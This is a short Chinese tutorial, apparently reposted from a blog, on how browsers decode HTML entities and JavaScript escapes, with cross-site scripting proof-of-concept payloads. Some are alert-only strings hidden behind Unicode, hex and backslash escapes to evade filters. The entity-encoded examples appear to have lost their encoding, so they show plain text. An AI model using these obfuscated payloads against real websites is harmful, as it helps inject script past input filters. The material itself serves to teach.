HTML和JS自解码机制

1.HTML

如果用户的输入被嵌入到HTML代码中,会进行HTML解码

解码方式包括:

1.HTML实体编码:

假定下面onclick后面的内容是可控的

<html>

<input type="button" id="b1" value="click1" onclick="document.write('<script>alert(1)</script>')" /> </html>

点击按钮

2.进制编码:

<html>

<input type="button" id="b2" value="click2" onclick="document.write('<script>alert(1)</script>;')" /> </html>

点击按钮

2.JS

如果输入在<script>标签当中

1.Unicode形式(十六进制)

<html>

<script> document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0031\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0031\u0027\u0029\u003e'); </script> </html>

2.纯十六进制

<html>

<script> document.write('\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x31\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x27\x32\x27\x29\x3e'); </script> </html>

3.纯转义

<html>

<script>

document.write('\<img src\=@ onerror=alert\(3\)\>'); </script> </html>

猜你喜欢

转载自www.cnblogs.com/zmqqq/p/10688752.html